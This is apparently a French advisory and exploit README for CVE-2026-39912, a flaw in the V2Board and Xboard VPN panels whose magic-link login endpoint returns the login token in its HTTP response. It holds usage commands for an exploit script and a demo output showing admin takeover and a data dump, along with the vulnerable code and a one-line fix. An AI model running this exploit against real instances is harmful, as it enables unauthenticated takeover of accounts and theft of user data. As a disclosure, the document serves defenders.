CVE-2026-39912 - Xboard / V2Board Prise de contrôle de compte sans authentification

Fuite du jeton de lien magique dans loginWithMailLink


CVE	CVE-2026-39912
CVSS	9.1 (Critique)
CWE	CWE-201 (Insertion d'informations sensibles dans les données envoyées)
Versions concernées	V2Board >= 1.6.1 jusqu'à 1.7.4 / Xboard toutes les versions jusqu'à 0.1.9+
Correctif	Pas encore (V2Board abandonné depuis juin 2023)
Divulgué	2026-04-09
Crédit	Valentin Lobstein (Chocapikk)
Analyse	chocapikk.com
PR de correctif	V2Board #981 / Xboard #873

En bref

Le point de terminaison loginWithMailLink renvoie le lien de connexion magique directement dans le corps de la réponse HTTP au lieu de l'envoyer uniquement par e-mail. Un attaquant non authentifié qui connaît une adresse e-mail enregistrée peut prendre le contrôle de n'importe quel compte - y compris celui d'un administrateur - en deux requêtes HTTP.

Logiciels concernés

V2Board - Panneau de gestion de protocoles proxy open source (8.7k étoiles, abandonné)
Xboard - Fork de V2Board (4k+ étoiles, activement maintenu)

Les deux sont des panneaux VPN/proxy largement déployés, principalement en Chine. ZoomEye montre 7,000+ instances exposées sur Internet.

Prérequis

login_with_mail_link_enable doit être activé dans les paramètres d'administration (non activé par défaut)
Une adresse e-mail enregistrée valide

Utilisation

# Install dependencies
pip install requests

# Account takeover + data dump
python3 exploit.py http://target:7001 [email protected]

# Save dump to file
python3 exploit.py http://target:7001 [email protected] -o dump.json

Démonstration

$ python3 exploit.py http://target:7001 [email protected]

 Xboard / V2Board - Unauth Account Takeover
 Magic Link Token Leak (CVE-2026-39912) | by Choc
 V2Board >= 1.6.1 | Xboard <= 0.1.9+
 45 min from git clone to is_admin: true

[INFO] Requesting magic link for [email protected]
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK

{
  "auth": {
    "auth_data": "Bearer qCU2d9hS...",
    "is_admin": true
  },
  "dump": {
    "User Info": {
      "email": "[email protected]",
      "uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
      ...
    },
    "Subscription": {
      "subscribe_url": "http://target:7001/s/324396af...",
      ...
    },
    "Active Sessions": [ ... ]
  }
}

Le Bug

V2Board (app/Http/Controllers/Passport/AuthController.php):

SendEmailJob::dispatch([...]);

return response([
    'data' => $link   // Token leaked to caller
]);

Xboard (app/Services/Auth/MailLinkService.php):

$this->sendMailLinkEmail($user, $link);

return [true, $link]; // Same bug, inherited from fork

Le Correctif

- return [true, $link];
+ return [true, true];

CVE-2026-39912

Populaires